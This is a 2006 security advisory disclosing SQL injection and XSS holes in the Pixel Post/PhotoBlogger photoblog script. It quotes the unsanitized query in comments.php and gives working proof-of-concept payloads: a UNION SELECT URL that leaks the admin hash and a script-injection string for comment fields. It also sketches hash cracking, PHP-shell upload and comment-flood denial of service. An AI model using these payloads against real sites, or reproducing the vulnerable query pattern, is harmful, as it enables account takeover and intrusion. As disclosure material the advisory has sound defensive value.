Advisory-20.txt

2006-03-08T00:00:00
ID PACKETSTORM:44440
Type packetstorm
Reporter Paisterist
Modified 2006-03-08T00:00:00

Description

                                        
                                            `/*  
--------------------------------------------------------  
[N]eo [S]ecurity [T]eam [NST]� - Advisory #20 - 04/03/06  
--------------------------------------------------------  
Program: Pixel Post  
Homepage: http://photoblogger.halof.de/  
Vulnerable Versions: 3.0 and lower versions.  
Risk: High!  
Impact: Critical Risk  
  
-==Phtoblogger <= 3.0 XSS & SQL Injection Vulnerabilities==-  
---------------------------------------------------------  
  
- Description  
---------------------------------------------------------  
PhotoBlogger is a customizable script that offers easy photoblog managing.  
You can batch upload images, add your own text to every image and you can fully customize the layout of your photoblog.   
  
- Tested  
---------------------------------------------------------  
localhost & many sites  
  
- Explotation  
---------------------------------------------------------  
  
1)  
  
Vulnerable code:  
  
magic_quotes_gpc must be Off in order to exploit it.  
  
==[ comments.php 89-90 ]==========================  
[...]  
if ($id){  
$result = mysql_query("SELECT $table_images.file AS file, title, date, text FROM $table_images WHERE id = $id");  
$file = mysql_result($result,0,"file");  
$title = mysql_result($result,0,"title");  
$description = mysql_result($result,0,"text");   
[...]  
==[ end index.php ]==========================  
  
$id is the variable that is used to get the image data and is not correctly parsed, so we can inject sql code.  
The point is that the script checks some fields, but not the filename.  
  
So we are going to use the UNION statement to select the admin data. Also we have to know the prefix table, which is photoblogger_ by default.  
Here below you can see an SQL Injection Proof of Concept.  
  
PoC:  
---------------------------------------------------------  
  
http://[site]/[photoblogger_path]/comments.php?id=23 UNION SELECT password AS title, mail_text AS file, mail_sender AS date, mail_subject as text FROM photoblogger_other  
  
Note: the id image has to be an invalid id. This way, we get the admin hash.  
  
When you do this request, you don't see the image, but if you check the source code you can find something like this:  
  
<br>  
<img src="images/thumb/e10adc3949ba59abbe56e057f20f883e" alt="" /><br /><br />  
<br>  
  
The filename that was overwritten in the sql query, is now the admin hash e10adc3949ba59abbe56e057f20f883e ;)  
  
Then you have to crack with brute forcing the md5 hash.  
  
2)  
  
When you add a coment you can make an HTML Injection, without ' because there are parsed with the function addslashes().  
With the HTML & JavaScript Code Injection you can steal cookies, put any html tag, redirect the comments page to another site, etc.  
  
Proof of Concept:  
  
Value: "><script>alert("XSS");</script> (put this in all the fields).  
  
3)  
When you obtain the admin password decrypted you can upload any kind of files in the upload images section, like a php shell, a directory explorer or whatever.  
  
The application was not fully tested and there other vulnerabilities, but is not useful to keep searching, this bugs are the criticals. Another example is that you can post all messages you want, so you can make a script for do a DoS attack by the comments section ;).  
  
  
- References  
--------------------------------------------------------  
http://www.neosecurityteam.net/index.php?action=advisories&id=20  
  
- Credits  
-------------------------------------------------  
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com  
  
[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/  
  
  
- Greets  
--------------------------------------------------------  
Knightmare  
HaCkZaTaN  
K4P0  
Daemon21  
Link  
LINUX  
  
Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!  
  
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@  
'@@@@@''@@'@@@''''''''@@''@@@''@@  
'@@'@@@@@@''@@@@@@ @@@'''''@@@  
'@@'''@@@@'''''''''@@@''''@@@  
@@@@''''@@'@@@@@@@@@@''''@@@@@  
  
/* EOF */  
`